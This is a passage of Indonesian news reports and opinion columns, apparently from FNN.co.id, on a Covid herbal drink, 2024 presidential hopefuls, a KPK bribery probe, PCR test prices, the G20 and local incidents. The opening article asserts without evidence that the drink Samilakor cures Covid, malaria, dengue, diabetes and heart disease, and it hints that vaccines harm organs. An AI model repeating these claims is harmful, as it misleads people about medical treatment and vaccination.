RPLC-19 dalam satu bulan dapat menghasilkan sekitar dua juta botol lebih yang didistribusikan kepada masyarakat. Samilakor dapat diproduksi oleh masyarakat secara individu dalam usaha menjaga kesehatan masing-masing, keluarga dan lingkungan. Oleh: Iriani Pinontoan HARI Sumpah Pemuda ke-93 menjadi pilihan Relawan Pejuang Lawan Covid 19 (RPLC-19) menyebarkan Sari Minuman Rempah Asli Lawan Korona (Samilakor) kepada para milenial di 37 titik di seluruh Indonesia. Di Bekasi, Jawa Barat, kegiatan itu dipusatkan di Pesantren Yayasan Ar Ridwan, Jatiasih. Pilihan terhadap minenial, khususnya pelajar dan mahasiswa karena mereka baru saja mendapat vaksinasi. Minuman imunomodulator itu berdasarkan penelitian epidemologi prediktif, Dr. Tifauzia Tyassuma, mampu meningkatkan imun dan membentuk antibodi agar menjadi kuat menghadapi wabah Coronavirus disease (Covid-19). Minuman herbal tersebut berasal dari tumbuhan asli Indonesia yang murah dan mudah diperoleh. Bahkan, bisa ditanam di halaman rumah. “Ternyata imunitas itu dapat dibuat dari kekayaan hayati rempah-rempah asli Indonesia. Saya melakukan penelitian secara intensif, ternyata formula rempah yang bisa digunakan melawan covid itu cukup sederhana. Dari Sabang sampai Merauke mudah diperoleh. Terdiri dari jahe, kunyit, sereh, jeruk lemon, daun bambu dan gula aren. Formula ini dinamakan Samilakor,” kata Tifauzia saat menyampaikan pesan kepada semua relawan Sebagai pemegang paten, Dokter Tifauzia, Presiden Ahlina Institute ini, mengizinkan siapapun menggunakan formula tersebut atau memproduksinya sebagai usaha kecil berbasis rumahtangga. "Silakan urus perizinannya bagi yang ingin memproduksi, dan tidak perlu membayar royalti kepada saya" ujar Dokter Tifa. Penanganan Covid- 19 bukan hanya tanggung jawab pemerintah. Akan tetapi, perlu melibatkan seluruh komponen bangsa. Oleh karena itu, relawan dan simpatisan lainnya beriniatif membuat ramuan penambah imun dengan memanfaatkan rempah-rempah asli Indonesia. Seluruh masalah kesehatan tidak boleh bergantung pada pemerintah. Masyarakat bisa diajak serta menanganinya, mulai dari pencegahan dan penanganan, hingga perawatan sampai sembuh.Tidak bisa ditangani satu stekholder pemangku atau kepentingan saja. Seluruh komponen bangsa harus terlibat. Tifauzia menjelaskan, selama hampir dua tahun masa pandemi telah terbentuk komunitas seluruh Indonesia yang diberi nama Relawan Perjuangan Covid-19 (RPLC-19). “Selama hampir dua tahun, kami membuat 1.200 lebih komunitas lawan Covid-19, yang disebut RPLC 19. Dalam satu titik, beranggotakan 1.000 sampai 10.000 relawan. Menurut kami, kelompok relawan tersebut sangat penting," ujarnya. Relawan Pejuang Lawan Covid-19 dalam satu bulan dapat menghasilkan sekitar dua juta botol lebih yang didistribusikan kepada masyarakat. Samilakor dapat di produksi oleh masyarakat dalam usaha menjaga kesehatan mereka masing-masing, keluarga dan lingkungan. Setelah launching, Sebar Samilakor Indonesia (SSI) pertama,17 Agustus 2021, beberapa waktu yang lalu Kementerian Pendidikan dan Kebudayaan dan Komisi X DPR RI yang membawahi Bidang Pariwisata dan Budaya menjadikan samilakor menjadi minuman wajib mereka. Minuman tersebut sudah mendapatkan endorse dari Direktur Jenderal Kebudayaan dan Komisi X DPR RI. Bertepatan dengan peringatan Sumpah Pemuda ke-93, formula minuman rekondisi itu juga mendapatkan pengakuan dari pemerintah Kota Tangerang Selatan, Banten. Wali kota setempat pun membuat acara khusus menyosialisasikan samilakor. Hari Sumpah Pemuda dipilih sebagai acara Sebar Samilakor Indonesia (SSI II) dari Sabang sampai Papua. Minuman fersebut bukan hanya dapat melawan corona virus, tetapi bisa juga melawan endemik yang ada seperti typhus, demam berdarah, malaria dan diare. Selain anti kuman, minuman itu juga bisa mengatasi diabetes, hipertensi, jantung terkontrol. Ternyata kekayaan hayati Indonesia bisa bermanfaat jika dikelola oleh tangan dan orang yang memiliki ilmu tepat. Pengalaman para relawan saat grafik Covid-19 periode kedua 2021 mencapai puncaknya pada Juni, sari minuman herbal tersebut sangat membantu mereka yang terpajan, khususnya yang mengalami sesak nafas dan diare. Upaya sosialisasi dan sebar samilakor kepada masyarakat luas akan terus dilakukan, meskipun Covid-19 sudah melandai dan menuju epidemi. Pada masa depan, pandemi diperkirakan menjadi epidemi. Bersamaan dengan itu, kata Tifauzia, akan muncul virus-virus purba dan penyakit-penyakit baru lainnya. Keadaan dunia tidak akan terus berubah. “Kita menuju tahun 2022. Tahun yang overwhelming, tak terkendali. Tahun depan masalah kesehatan berbagai multi dimensi akan bermunculan sebagai dampak kerusakan organ-organ tubuh yang tidak disadari selama dua tahun, baik akibat virus maupun vaksin yang disuntikkan ke tubuh manusia," katanya. Penulis, Wartawan Senior FNN.co.id

Terpasung

Oleh Ady Amar *) TERPASUNG punya makna leksikal pada sesuatu yang sempit dan tidak leluasa, bisa bermakna tersekap, terkurung, terkungkung, terpenjara, terbelenggu, terkekang, dan seterusnya. Pokoknya pada hal-hal yang tidak leluasa untuk bergerak. Terpasung pun punya makna struktural, yang itu disematkan tidak pada satu kata, tapi dalam bentuk kalimat untuk memberi aksentuasi makna: ia terpasung dalam kebijakan partai atau ia terpasung oleh jabatan yang melekat. Tentu makna "terpasung" dalam kalimat itu tidak bisa lagi berdiri sendiri sebagai makna tunggal. Menarik jika kata "terpasung" itu disematkan pada Ganjar Pranowo dan Anies Rasyid Baswedan. Dua orang yang digadang-gadang sebagai calon kuat untuk berkontestasi pada Pilpres 2024. Masih lama memang, tapi suara tabuhan menuju Pilpres sudah ditabuh, meski tabuhannya terhalang oleh sebab-sebab tertentu. Tabuhan yang suaranya lamat-lamat, itu bisa sebab mereka "terpasung" oleh kebijakan partai yang belum mau mengusungnya (Ganjar Pranowo). Dan yang lain, oleh sebab jabatan yang melekat, merasa tidak pantas jika harus melangkah lebih jauh (Anies Baswedan). Keduanya menjadi manusia "terpasung", sehingga geraknya menuju Pilpres jadi terhalang. Ganjar Pranowo, Gubernur Jawa Tengah, tampak mencoba sekuatnya melepas ikatan "pasung", dan karenanya terkesan "melawan" partai yang membesarkannya (PDIP). Tekanan pada partai, seperti manuver, terus diikhtiarkan untuk melepas "pasungan" agar geraknya makin leluasa. Meski partainya setidaknya belum bergeming merespons untuk melepas "pasungan" sebagai petugas partai. Sedang Anies Baswedan yang tidak berpartai, sebenarnya bisa bermanuver lebih lincah lagi. Tapi ia justru "terpasung" oleh bayangan sendiri, dan itu oleh etika yang dipegangnya yang tampak kaku, yakni akan menyelesaikan tugas sebagai Gubernur DKI Jakarta, sesuai amanah yang diemban. Padahal pendukungnya ingin Anies sedikit lentur, tetap bekerja memenuhi janji-janji kampanyenya kepada warga DKI, tapi tidak mengenyampingkan persiapan menuju 2024. Ganjar dan Anies menjadi manusia "terpasung" dengan alasannya masing-masing. Yang satu oleh kebijakan partai, sedang satunya memegang teguh etika yang diyakininya. Itulah gambaran untuk keduanya dalam memaknai kata "terpasung". Dan jika muncul relawan yang mendeklarasikan keduanya, itu sebenarnya bentuk pressure terhadap induk partainya (PDIP), dan yang satu pada kandidat yang sebenarnya bisa membuka "pasungnya" sendiri dengan mudah, tanpa harus "memasung-masungkan" diri dengan etika berlebihan. Akhirnya Deklarasi Ganjar Pranowo meski "terpasung" ia tampaknya lebih siap menyongsong 2024 ketimbang Anies Baswedan, setidaknya itu yang tampak. Maka ambisi keduanya pun bisa tampak dengan jelas, dan itu pasti membuat relawan, khususnya relawan Ganjar Pranowo, akan lebih mudah bermanuver membuat deklarasi. Itu diharapkan bagian dari penguatan elektabilitas kandidat yang diusungnya. Maka, itu tampak dari relawan Ganjar Pranowo yang lebih dulu tampil dengan deklarasi di mana-mana. Tak terhitung di berapa tempat deklarasi itu dilakukan. Bisa jadi itulah yang menyebabkan elektabilitasnya menaik versi lembaga survei, meski itu juga bukan satu-satunya parameter yang bisa dilihat. Karena, banyak juga lembaga survei hadir bekerja untuk pasangan tertentu. Framing lalu dilakukan. Karenanya, menjadi biasa jika angka elektabilitas dimainkan sesukanya. Entah sampai kapan "pasungan" untuk Ganjar Pranomo itu dibuka. Tidak ada yang tahu. Maka, tekanan pada partai (PDIP) akan terus dilakukan oleh "tangan-tangan" Ganjar yang terus bergerak. Dan jika saat ini terlihat, bahwa PDIP tampak terbelah, itu bisa juga bagian dari manuvernya. Sedangkan Anies Baswedan, seperti tadi disebutkan, sebenarnya bisa membuka "pasungnya" sendiri dengan mudah, tanpa bantuan pihak lain. Itu jika ia bersedia. Tapi tampaknya Anies belum mau membuka "pasungnya" dan masih asyik menyelesaikan kerja-kerjanya selaku Gubernur DKI Jakarta. Mungkin Anies masih menganggap Pilpres 2024 masih jauh. Jadi tidak perlu terburu-buru menampakkan ambisi dalam menyongsongnya. Tapi mereka yang "berpihak" pada Anies, tidak sanggup melihat sikap Anies yang masih tidak beranjak dari kerja-kerja yang terpateri dengan mengedepankan etika. Dan, mereka yang "berpihak" itu, tidak nganti lalu mendeklarasikan Anies for President, di Gedung Joang, Cikini, Jakarta (20/10). Dimotori La Ode Basir dan 6 kawannya. Deklarasi yang menghebohkan, dan pastinya lebih lagi mengejutkan Anies Baswedan yang seperti pihak yang di-fait accompli. Siapa La Ode Basir itu, orang bertanya-tanya. Ia tentulah bukan penduduk planet lain yang tidak bisa dikenali jejak rekamnya. La Ode Basir dikenal sebagai orang dekatnya Erwin Aksa, tokoh muda Partai Golkar yang saat Pilpres 2019 "melawan" kebijakan partainya dengan memilih berada di kubu 02, Prabowo Subianto-Sandiaga Salahuddin Uno. Erwin Aksa adalah kemenakan dari Jusuf Kalla (JK). Maka, jika lalu orang menduga ada "tangan" JK di sana juga tidak salah. Dan kemarin, Ahad (31/10), itu "di markaz" Ganjar Pranowo sendiri, Kabupaten Purbalingga, muncul Deklarasi Relawan Satria Anies Presiden 2024 Korda Purbalingga. Ketua Relawan Koordinator Nasional Satria Anies Presiden 2024, Ahmad Zainuddin Abbas, alias Gus Abbas, memberi alasan mengapa deklarasi itu dimunculkan, itu karena Anies Baswedan sudah teruji kepemimpinannya sebagai Gubernur DKI Jakarta, dan berharap bisa diteruskan di tingkat nasional... Tambahnya, figurnya tenang dan njawani. Karenanya, Anies Baswedan meski enggan membuka "pasungnya" sendiri, maka relawan tetap mendeklarasikan dirinya menuju 2024. Tampaknya gelombang itu sulit dihentikan. Terdengar tidak lama lagi akan muncul deklarasi untuk Anies Baswedan di Jawa Barat dan lanjut Jawa Timur, dan seterusnya. Biarlah para deklarator berjalan dengan kreasinya masing-masing. Itu bukti bahwa mereka bekerja ingin menghadirkan pemimpin nasional yang sesuai harapan. Anies Baswedan mungkin masih menganggap, bahwa saat ini belum waktunya untuk menampilkan diri, baru tarhim, ia akan bergerak jika adzan berkumandang. Tapi buat para deklarator, dalam perspektifnya, sebenarnya sudah masuk waktu adzan dan mereka bergerak tanpa perlu kulo nuwun segala. (*) *) Kolumnis

KPK Dalami Proses Penganggaran Proyek Dinas PUPR Musi Banyuasin

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami proses penganggaran hingga dilaksanakannya lelang berbagai proyek di Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Musi Banyuasin, Sumatera Selatan. KPK, Jumat (29/10) memeriksa delapan saksi untuk tersangka Kepala Dinas PUPR Kabupaten Musi Banyuasin Herman Mayori (HM) dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan barang dan jasa di Kabupaten Musi Banyuasin Tahun Anggaran 2021. Pemeriksaan dilakukan di Satbrimobda Sumatera Selatan. "Para saksi hadir dan dikonfirmasi antara lain terkait dengan nilai pagu anggaran di Dinas PUPR Kabupaten Musi Banyuasin, termasuk dengan proses penganggaran hingga dilaksanakannya lelang berbagai proyek di Dinas PUPR dimaksud," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Delapan saksi, yaitu Wakil Bupati Musi Banyuasin Beni Hernedi, Sekda Kabupaten Musi Banyuasin Apriyadi, Kasi Lingkungan dan Keselamatan Dokumen dan Pengembangan Sistem serta Leger Jalan Bidang Pengembangan dan Pengendalian Dinas PUPR Kabupaten Musi Banyuasin Robby Candra, Kasi Perencanaan dan Penyediaan JPU Bidang Bina Jasa Konstruksi dan Penerangan Jalan Umum Dinas PUPR Kabupaten Musi Banyuasin Musyadek. Selanjutnya, Kasi Operasional Pemeliharaan dan Bina Manfaat SD Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin Meydi Lupiandi, Kasi Pembinaan dan Pengawasan Bidang Penataan Ruang Dinas PUPR Kabupaten Musi Banyuasin Aditia Pancawijaya Tantowi, Kasi Pemeliharaan JPU Bidang Bina Jasa Konstruksi dan Penerangan Jalan Umum Dinas PUPR Kabupaten Musi Banyuasin Saaid Kurniawan, dan Badruzzaman alias Acan selaku staf ahli Bupati Musi Banyuasin. Selain itu, kata Ali, delapan saksi itu juga didalami terkait dugaan adanya perintah dan delegasi khusus dari tersangka Bupati Musi Banyuasin nonaktif Dodi Reza Alex Noerdin (DRA) kepada tersangka Herman dan tersangka Kabid Sumber Daya Air (SDA)/Pejabat Pembuat Komitmen (PPK) Dinas PUPR Kabupaten Musi Banyuasin Eddi Umari (EU) untuk dilakukan penarikan "fee" atas pelaksanaan pekerjaan berbagai proyek di Dinas PUPR Kabupaten Musi Banyuasin tersebut. Diketahui, Dodi, Herman, dan Eddi merupakan tersangka penerima suap kasus tersebut. Sementara pemberi suap adalah Direktur PT Selaras Simpati Nusantara Suhandy (SH). Dalam konstruksi perkara, KPK menjelaskan Pemkab Musi Banyuasin untuk Tahun 2021 akan melaksanakan beberapa proyek yang dananya bersumber dari APBD, APBD-P TA 2021 dan Bantuan Keuangan Provinsi (bantuan gubernur) di antaranya pada Dinas PUPR Kabupaten Musi Banyuasin. Untuk melaksanakan berbagai proyek dimaksud, diduga telah ada arahan dan perintah dari Dodi kepada Herman, Eddi, dan beberapa pejabat lain di Dinas PUPR Kabupaten Musi Banyuasin agar dalam proses pelaksanaan lelangnya direkayasa sedemikian rupa. Di antaranya dengan membuat daftar paket pekerjaan dan telah pula ditentukan calon rekanan yang akan menjadi pelaksana pekerjaan tersebut. Selain itu, Dodi juga telah menentukan adanya persentase pemberian "fee" dari setiap nilai proyek paket pekerjaan di Kabupaten Musi Banyuasin, yaitu 10 persen untuk Dodi, 3-5 persen untuk Herman, dan 2-3 persen untuk Eddi serta pihak terkait lainnya. Untuk Tahun Anggaran 2021 pada Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin, perusahaan milik Suhandy menjadi pemenang dari empat paket proyek. Total komitmen "fee" yang akan diterima oleh Dodi dari Suhandy dari empat proyek tersebut sekitar Rp2,6 miliar. Sebagai realisasi pemberian komitmen "fee" oleh Suhandy atas dimenangkannya empat proyek paket pekerjaan di Dinas PUPR tersebut, diduga Suhandy telah menyerahkan sebagian uang tersebut kepada Dodi melalui Herman dan Eddi. Suhandy selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan sebagai penerima, Dodi, dan kawan-kawan disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal Pasal 55 ayat 1 ke-1 KUHP. (sws, ant)

Kunjungan ke Garut, Anis Matta Bersilaturrahmi ke Pimpinan Persis dan Kapolda Jabar

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Anis Matta bersilaturrahmi dengan Ketua Umum PP Persatuan Islam (Persis) KH Aceng Zakaria dan Bertemu dengan Kapolda Jawa Barat (Jabar) Irjen Pol Ahmad Dofri di Kabupaten Garut, Jabar, Minggu (31/10/2021). Silaturrahmi ini bagian dari kunjungan kerja Anis Matta ke daerah, setelah sebelumnya bersilahturahmi dengan pendiri Chocodot Kiki Gumelar, pengusaha makanan olahan coklat dan dodol, serta meninjau langsung pabriknya di Garut. Saat bersilaturrahmi dengan KH Aceng Zakaria, Anis Matta disambut hangat, serta dijamu makan bersama di kediamannya di Pesantren Persis Rancabango, Garut. Ada suasana khas ketika kita berkunjung dan dijamu makan di rumah kiai. Sambutan yang hangat, dialog dari hati ke hati, juga ada tawa canda. Kehangatan dan ketulusan seperti men-charge batere ruhani kita," kata Anis Matta dalam keterangannya, Senin 1 November 2021. Hal itu, menurut Anis Matta, ia rasakan betul saat bersilaturahim dengan KH Aceng Zakaria, Ketua Umum PP Persis. "Terjadi perbincangan yang dalam tentang visi baru perjuangan umat, saatnya mengubah kerumunan menjadi kekuatan perubahan yang ril," ujar Anis Matta. Perubahan visi perjuangan umat itu, kata Anis Matta, harus memberi kompas atau arah bagi rakyat Indonesia yang sedang menghadapi tantangan eksistensial di tengah krisis global. "Saya sampaikan juga kepada KH Aceng Zakaria, kalau Partai Gelora ingin menjadi rumah kolaborasi bagi seluruh elemen kekuatan yang dulu, sekarang dan di masa mendatang dalam membentuk bangunan Indonesia," ungkapnya. Karena itu, Anis Matta mengajak semua pihak untuk berdoa agar para ulama, kiyai dan guru-guru diberikan kesehatan sehingga bisa terus memberikan pencerahan kepada umat. "Mari kita berdoa agar para ulama, kiai, dan guru-guru kita diberi kesehatan sehingga bisa terus memberi pencerahan bagi umat. Aamiin," kata Anis Matta. Pada kesempatan lain Anis Matta juga bertemu dengan Kapolda Jawa Barat Irjen Pol Ahmad Dofiri saat menghadiri acara resepsi pernikahanan putra sahabatnya, Sulkarnain di Tasikmalaya. Anis Matta dan Ahmad Dofiri duduk satu meja saat menghadiri resepsi pernikahan tersebut. Mereke berdua terlihat mengobrol santai, membicarakan berbagai hal, layaknya dua orang sahabat. "Alhamdulillah, sempat ngobrol santai bersama Kapolda Jawa Barat Pak Ahmad Dofiri. Kebetulan sama-sama menghadiri resepsi pernikahan putra sahabat saya Pak Sulkarnain di Tasikmalaya. Saya sampaikan ke Pak Dofiri, kalau Warga Jawa Barat perlu polisi rasa ustadz," papar Anis Matta. Selain bersilaturrahmi dengan Ketua Umum PP Persis KH Aceng Zakaria dan bertemu Kapolda Jabar Irjen Pol Ahmad Dofiri, Ketua Partai Gelora Indonesia Anis Matta juga menghadiri kegiatan Festival Literasi Akademi Manusia Indonesia (AMI) di Garut. Festival Literasi AMI ini dihadiri pengurus dan kader Partai gelora dari beberapa DPD yakni Kab Garut, Kab Tasikmalaya dan Kota Tasikmalaya. Dalam kesempatan ini, Anis Matta menyampaikan sejumlah arahan. "Setiap orang yang bergabung dengan Partai Gelora adalah energi yang membawa misi perubahan bagi bangsa ini. Karena Gelora hadir membawa narasi perubahan," katanya. Selama kunjungan ke Garut, Anis Matta didampingi Ketua Pengembangan Teritori II (Bangter) Ahmad Zaerofi, Ketua Bidang Generasi Muda Hudzaifah Muhibullah, Sekertaris Bidang Seni Budaya dan Ekonomi Kreatif Ahmad Yani, Direktur AMI Coach Gunawan dan Ketua DPW Partai Gelora Jawa Barat Haris Yuliana. (sah)

BPBD DKI Imbau Warga Waspadai Angke Hulu Siaga Tiga

Jakarta, FNN - Badan Penanggulangan Bencana Daerah (BPBD) DKI Jakarta mengimbau warga bantaran sungai agar mewaspadai kenaikan tinggi muka air di Pos Pantau Angke Hulu yang masuk siaga tiga atau kategori waspada karena potensi cuaca ekstrem. Melalui akun twitter @BPBDJakarta di Jakarta, Senin, BPBD mencatat kenaikan tinggi muka air di Angke Hulu sejak pukul 00.00 WIB mencapai 155 cm atau naik 10 cm dari batas normal 145 cm. Hingga pukul 03.00 sampai 04.00 WIB, berdasarkan data Dinas Sumber Daya Air (SDA) DKI Jakarta, tinggi muka air Angke Hulu naik menjadi 160 cm. BPBD DKI memetakan sejumlah daerah yang berpotensi terdampak kenaikan tinggi muka air itu, di antaranya Rawa Buaya, Cengkareng Timur, dan Cengkareng Barat. Kemudian, Kembangan Utara, Kedoya Utara, Duri Kosambi, Kapuk dan Kedaung Kali Angke. BPBD DKI kemudian meneruskan informasi tersebut kepada lurah dan camat daerah yang berpotensi terdampak, kemudian menyebarkan informasi kewaspadaan itu melalui media sosial sebagai bagian dari sistem peringatan dini. (mth)

PCR-Gate Harus Diusut

By M Rizal Fadillah PENURUNAN harga pemeriksaan Reverse Transcription Polymerase Chain Reaction (RT-PCR) menjadi 275 ribu untuk Jawa Bali dan 300 ribu untuk luar Jawa Bali berlaku mulai 27 Oktober yang diumumkan Presiden cukup menggembirakan tetapi juga mengejutkan. Gembira karena turun harga, terkejut karena membayangkan keuntungan banyak pihak ketika harga 500 ribu atau sebelumnya 900 ribu atau diawal pandemi yang berharga satu hingga dua juta rupiah. Saat 500 ribu saja resmi keuntungan senilai 150 persen. Adapun komponen penentuan harga pemeriksaan PCR adalah : Pertama, jasa dokter, tenaga lab, tenaga ATLM, jasa pengambilan spesimen. Kedua, komponen alat medik habis pakai (hazmat, masker N95, cover kepala, dan lainnya). Ketiga, komponen Reagen. Keempat, biaya operasional termasuk administrasi. Dan kelima, keuntungan. Hal yang menjadi perhatian bersama adalah kemungkinan hadir penumpang gelap dari permainan harga, pemburu rente, dan mafia yang berhubungan dengan budaya korupsi yang melekat pada para pejabat terkait. Tingginya angka dan biaya impor menjadi titik rawan korupsi tersebut. Apalagi jika didukung oleh rasa aman penggunaan dana APBN akibat berlakunya UU No 2 tahun 2020 yang membebaskan gugatan atau tuntutan hukum. Penting pula untuk dibandingkan dengan biaya PCR India yang dapat hanya 500 Rupee atau 96 ribu rupiah. Mengapa perlu pengusutan dugaan skandal PCR ini, yaitu : Pertama, penurunan harga yang anjlok jauh dari 2 juta menjadi 300 ribu, berarti selama ini ada keuntungan besar yang "dimainkan" pengusaha fasilitas kesehatan yang tidak lepas dari peran pengambil kebijakan. Said Didu mensinyalir regulasi pemerintah dan beban rakyat itu justru menguntungkan swasta. Swasta tentu tidak bisa bermain sendiri tapi perlu "bantuan" regulator. Kedua, Mahkamah Konstitusi dengan Putusan no 37/PUU-VIII/2020 tanggal 28 Oktober 2021 mengoreksi UU No 2 tahun 2020 membatalkan hak imunitas pemerintah atas tuntutan hukum dalam hal penggunaan dana APBN sebagaimana diatur dalam Pasal 27 ayat (1), ayat (2) dan ayat (3). Pembiayaan jor-joran dengan menggunakan dana APBN untuk penanganan Covid 19 yang kemarin aman kini menjadi terancam. Ketiga, di tengah beban berat yang menyengsarakan rakyat atas berbagai regulasi Pemerintah di masa pandemi, ternyata pengusaha fasilitas kesehatan bersama para pejabat terkait (juga yang tak terkait) justru meraup keuntungan besar dari proyek kesehatan penanganan Covid 19. Kondisi ini tidak bisa ditoleransi karena mempraktekkan asas "mencari kesempatan dalam kesempitan" adalah suatu kekejian. Aneh sebenarnya, mengapa Presiden yang justru mengumumkan penurunan harga, padahal penetapan tarif baru tersebut hanya berdasarkan Surat Edaran Dirjen Pelayanan Kesehatan No AK 02.02/1/3843/2021 tentang Batas Tarif Tertinggi Pemeriksaan RT-PCR yang mulai berlaku terhitung tanggal 27 Oktober 2021. Terhadap dugaan bahwa terjadi skandal dalam program pemeriksaan RT-PCR ini, maka semestinya Presiden Jokowi segera memerintahkan jajarannya untuk melakukan pemeriksaan atau pembenahan tata kelola keuangan yang dinilai publik mencurigakan tersebut. Jika Presiden diam saja, maka wajar jika publik dapat berpandangan jangan-jangan Presiden juga menikmati keuntungan dari permainan harga pemeriksaan PCR tersebut. Audit dan pemeriksaan menyeluruh harus segera dilakukan. Menarik data KPK bahwa 70 persen pejabat di masa pandemi ternyata meningkat harta kekayaannya, termasuk para menteri apakah Luhut, Prabowo, Johni Plate, ataupun Yaqut Cholil Qaumas. Bagaimana keadaan harta Presiden Jokowi ? *) Analis Politik dan Kebangsaan

Presiden Jokowi Usulkan Tiga Upaya Bersama G20 Percepat Capai SDGs

Jakarta, FNN - Presiden RI Joko Widodo mengusulkan tiga upaya bersama yang dapat dilakukan negara-negara Kelompok Dua Puluh (G20) dalam mempercepat pencapaian tujuan pembangunan berkelanjutan (Sustainable Development Goals/SDGs). “Kita harus segera beraksi agar dunia tidak terancam jatuh ke dalam krisis berkepanjangan. Kita, G20 harus melakukan sejumlah upaya bersama untuk memastikan SDGs tercapai sesuai target, 9 tahun lagi," kata Presiden Jokowi pada sesi KTT G20 membahas pembangunan berkelanjutan di La Nuvola, Roma, Italia, Minggu (31/10). Tiga upaya bersama yang dapat dilakukan negara-negara G20 untuk mempercepat pencapaian SDGs adalah menggalang solidaritas untuk membantu negara dan masyarakat yang paling rentan. Menurut Presiden Jokowi, inisiatif penangguhan layanan utang, serta tambahan alokasi hak penarikan khusus (Special Drawing Rights/SDR) senilai 650 miliar dolar AS menjadi langkah penting guna memberi ruang kebijakan bagi negara berpendapatan rendah dan menengah untuk berkonsentrasi melawan pandemi. Kedua, memperkuat kemitraan global untuk membantu pendanaan dan akses teknologi bagi negara berkembang. Financing gap atau selisih kebutuhan pembiayaan yang melebar dari 2,5 triliun dolar AS per tahun menjadi 4,2 triliun dolar AS per tahun harus menjadi perhatian serius. "Mobilisasi pembiayaan inovatif untuk menutup gap pendanaan SDGs, termasuk melalui blended finance harus segera dilakukan. Peningkatan investasi swasta yang berkelanjutan harus didorong untuk menggerakkan kembali roda perekonomian dan menciptakan lapangan kerja di negara berkembang," kata Presiden Jokowi. Ketiga, meningkatkan kemampuan adaptasi dan ketangguhan dari guncangan dan ketidakpastian masa depan, terutama dalam sektor kesehatan, kapasitas fiskal, serta kapasitas perencanaan dan implementasi pembangunan. Menurut Jokowi, sebagai payung besar bagi pemenuhan hak-hak pembangunan yang berkelanjutan, target SDGs harus semakin diperjuangkan. Akibat pandemi COVID-19, kemiskinan ekstrem dunia kembali meningkat dari yang semula diharapkan menurun ke 7,5 persen pada 2021, malah kembali menjadi 9,4 persen. Selain itu, terganggunya rantai pasok global bukan hanya menggoyahkan kebutuhan industri, tetapi juga mengganggu stabilitas kebutuhan dasar, termasuk pangan, terutama di negara-negara berkembang. Dalam bidang pendidikan, Perserikatan Bangsa-Bangsa juga mencatat setidaknya delapan negara berada pada tingkat risiko sangat tinggi dan 40 negara risiko tinggi terhadap dampak generasi yang hilang, terutama karena menurunnya kesempatan belajar dan lapangan pekerjaan. Menurut Presiden Jokowi, Indonesia telah mengembangkan kebijakan yang meningkatkan adaptasi sektor pendidikan dan memberikan perlindungan sosial bagi mereka yang paling rentan dan kehilangan pekerjaan. "Namun banyak negara lain yang menghadapi risiko tinggi. G20 harus bekerja sama membantu mereka memastikan tidak ada lost generation (generasi yang hilang). Hanya dengan demikian, kita dapat pulih bersama menuju masa depan yang lebih baik tanpa meninggalkan siapapun," kata dia. Turut mendampingi Presiden saat menghadiri sesi ini adalah Menteri Koordinator Bidang Perekonomian Airlangga Hartarto, Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan, dan Menteri Luar Negeri Retno Marsudi. (mth)

Duel Maut, Seorang Mantan TNI AU Tewas

Makassar, FNN - Kepolisian Sektor (Polsek) Panakukang masih melakukan pendalaman kasus perkelahian hingga menewaskan seorang mantan personel TNI Angkatan Udara berinisial HE (39) dengan sopir rental berinisial MS (26), di Taman Makam Pahlawan, Makassar, Sulawesi Selatan. "Dari hasil penyelidikan awal, masih ada dua orang yang terlibat. Yang lain, masih kami dalami," ujar Kapolsek Panakukang AKP Andi Ali Surya saat dikonfirmasi, Sabtu. Ia mengatakan, kasus tersebut terjadi pada Jumat (30/10) malam, sekitar pukul 22.30 WITA, sesuai laporan yang diterima. Lokasi kejadian di sekitar Taman Makam Pahlawan, Jalan Perintis Kemerdekaan. "Kasus ini masih akan dilakukan penyelidikan oleh tim kepolisian," kata Ali Surya. Berdasarkan infomasi yang dihimpun, Kapolsek menjelaskan, MS merupakan sopir rental. Usai mengantar penumpangnya di Rumah Sakit Wahidin Sudirohusodo, kemudian bertemu HE dan meminta korek api, sembari berbincang-bincang, ia pun meminta dirinya diantar ke Jalan Sultan Alauddin. Dalam perjalanan, HE tiba-tiba meminta MS membelokkan kendaraannya ke arah Taman Makam Pahlawan. Saat berbelok ke arah itu, HE lantas melakukan penganiayaan dengan mencabut sangkurnya lalu menusuk paha dan bagian dada korban MS. MS secara spontan mencoba melakukan perlawanan dan merebut sangkur dari HE, kemudian menusuk balik ke arah dada HE. MS lalu berusaha keluar dari mobilnya dan meminta tolong kepada warga sekitar. Sementara HE juga keluar dari mobil lalu melarikan diri. Korban MS selanjutnya ditolong warga lalu membawa ke Rumah Sakit Ibnu Sina untuk mendapatkan pertolongan pertama, selanjutnya dirujuk ke Rumah Sakit Bayangkara untuk mendapatkan perawatan intensif. Usai kejadian itu, warga menghubungi Polsek Panakukang. Sesaat tiba di tempat kejadian perkara (TKP), anggota melaksanakan penelusuran hingga menemukan sosok pria di saluran air diduga HE. Setelah dilakukan pengecekan, kondisinya sudah tidak bernyawa. "Sementara ini MS dirawat intensif di RS Bhayangkara. Belum ada tersangka, karena masih dilakukan penyelidikan," katanya pula. Saat ditanyakan apa motif dari peristiwa duel maut tersebut, apakah ada dugaan perampokan serta keduanya punya hubungan, Kapolsek mengatakan masih dalam proses pendalaman terkait kejadian itu. "Tidak sama kenal. Kami masih menduga-duga (dugaan perampokan) dan masih dilakukan penyelidikan. Status yang bersangkutan pecatan TNI AU, dan statusnya bukan TNI, artinya sudah jadi warga sipil," katanya menjelaskan. Secara terpisah, Kepala Urusan Penerangan Pasukan dan Penerangan Umum (Kaurpenpasum) Lanud Hasanuddin, Makassar, Kapten Sus Jumadi, membenarkan HE adalah pecatan TNI AU atas sejumlah pelanggarannya. "Yang bersangkutan telah dipecat dari dinas 